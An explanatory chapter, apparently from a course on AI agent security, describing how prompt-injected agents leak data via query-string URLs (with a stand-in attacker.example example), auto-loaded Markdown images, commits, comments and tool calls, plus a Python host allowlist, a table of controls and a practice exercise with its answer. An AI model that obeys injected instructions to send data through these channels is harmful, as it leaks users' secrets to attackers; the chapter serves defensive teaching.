Sub topic 8
How stolen data leaves: URLs, rendered images, commits, comments, and tool calls
This chapter assumes you know how the agent tool loop works and what indirect prompt injection is. An injected instruction only causes harm if the agent can also move data somewhere the attacker can read it. Those routes are called exfiltration channels (exfiltration means sending data out without permission).
The core idea
Stolen data has to leave in some form the attacker can observe. The agent has no special "send secrets" feature. Attackers reuse ordinary actions that produce output outside the agent's trusted boundary.
The channels
URLs and network requests
An injected instruction can tell the agent to fetch a URL with data in the query string, such as https://attacker.example/?d=<secret>. The attacker never needs the response. Their server log records the request. Shell commands like curl and package installs that use custom indexes work the same way.
Rendered images
Many chat interfaces and web pages load images automatically. If the agent writes Markdown like the example below, the viewer's client requests the URL as soon as the text is displayed. No one has to click anything.
Commits and pull requests
If the agent can push, an attacker can make it commit a secret to a file or branch. On a public repository, the data is then readable by anyone. A pull request description or branch name can carry data too.
Comments
Agents that reply to issues or pull requests can be told to paste data into a comment. On a public repository, that comment is visible to the attacker. Comment edits and hidden Markdown sections can also carry data.
Tool calls
Any tool that sends data elsewhere is a channel: email, chat posts, ticket creation, or an MCP server (a tool server the agent connects to) that calls an outside API. The arguments the model chooses become the payload.
Defending the exit
Controlling exits is often easier than detecting injected text. The spine's egress check allows only named hosts over HTTPS:
from urllib.parse import urlparse
ALLOWED_HOSTS = {'pypi.org', 'files.pythonhosted.org'}
def url_allowed(url):
parts = urlparse(url)
return parts.scheme == 'https' and parts.hostname in ALLOWED_HOSTSThis blocks attacker.example but does nothing about commits, comments, or an allowed host that accepts uploads. Each channel needs its own control.
| Channel | Useful control |
|---|---|
| URLs and requests | Host allowlist, no network in the sandbox |
| Rendered images | Block external image loading in the viewer |
| Commits and PRs | Read-only token, human review before push |
| Comments | Limit write scope, approval before posting |
| Tool calls | Remove unused tools, review arguments |
Common errors
- Securing only the shell and forgetting that comments and rendered Markdown are also outputs.
- Treating a read-only task as safe when the agent still has network access.
- Reviewing a final answer but not the intermediate tool calls.
Exercise
An agent summarizes public issues and has no shell, but it can post comments and its output is shown in a chat window that loads images. Name two exfiltration channels available to an attacker and one control for each.
Show answer
Rendered images: the chat window loads an injected image URL that carries data in its query string. Block or proxy external image loading. Comments: the agent can be told to paste data into a public comment. Remove comment-write permission or require human approval before posting.